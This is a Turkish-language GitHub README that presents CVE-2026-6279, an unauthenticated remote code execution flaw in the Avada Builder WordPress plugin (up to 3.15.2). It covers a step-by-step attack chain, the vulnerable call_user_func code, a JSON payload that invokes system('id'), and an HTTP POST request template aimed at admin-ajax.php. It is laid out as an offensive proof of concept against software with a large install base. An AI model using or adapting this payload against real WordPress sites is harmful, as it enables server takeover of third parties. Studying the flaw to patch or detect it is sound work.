xxconi/CVE-2026-6279
GitHub: xxconi/CVE-2026-6279
Stars: 0 | Forks: 1
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║║
╚══════════════════════════════════════════════════════════════╝






## 📋 Özet
| Alan | Detay |
|------|-------|
| **CVE ID** | CVE-2026-6279 |
| **Etkilenen** | Avada Builder (Fusion Builder) <= 3.15.2 |
| **Tema** | WordPress Avada Theme |
| **Aktif Kurulum** | 900.000+ |
| **Zafiyet Türü** | PHP Function Injection → Unauthenticated RCE |
| **CVSS v3.1** | **9.8 (Critical)** |
| **Vektör** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |
| **Kimlik Doğrulama** | ❌ Gerekmiyor |
| **Kullanıcı Etkileşimi** | ❌ Gerekmiyor |
| **Araştırmacı** | xxcoin |
| **Yayın Tarihi** | 2026-05-24 |
## 🔗 Saldırı Zinciri
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. NONCE TESPİT │
│ wp_create_nonce('fusion_load_nonce') → UID 0 │
│ [fusion_post_cards] veya [fusion_table_of_contents] │
│ shortcode'u olan herkese açık sayfalarda JS'e eklenir │
│ │ │
│ ▼ │
│ 2. UNAUTHENTICATED AJAX │
│ wp_ajax_nopriv_fusion_get_widget_markup │
│ check_ajax_referer() → sadece nonce geçerliliği kontrol │
│ eder, kullanıcı kimliği doğrulanmaz │
│ │ │
│ ▼ │
│ 3. DESERİALİZASYON │
│ base64_decode(render_logics) → json_decode() │
│ Yapı doğrulaması yok — saldırgan kontrolündeki JSON │
│ │ │
│ ▼ │
│ 4. call_user_func() — ALLOWLIST YOK │
│ get_value() → wp_conditional_tags case │
│ call_user_func($value['function'], $value['args']) │
│ Herhangi bir PHP fonksiyonu çağrılabilir │
│ │ │
│ ▼ │
│ 5. RCE ✓ │
│ system("id") → uid=1000(xxcoin) │
│ Web sunucusu yetkisiyle tam komut yürütme │
│ │
└─────────────────────────────────────────────────────────────────┘
## 🧬 Teknik Detay
### Zafiyet Noktası
`class-fusion-builder-conditional-render-helper.php` — L1531:
// VULNERABLE CODE
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
// ❌ Allowlist kontrolü yok
return call_user_func( $decoded['function'], $decoded['args'] );
### Payload Yapısı
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
### HTTP İsteği
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=
**CVE-2026-6279 · Avada Builder <= 3.15.2 ·xxcoin · 2026**
*Special Thanks: Shadow Girlfriend 💜*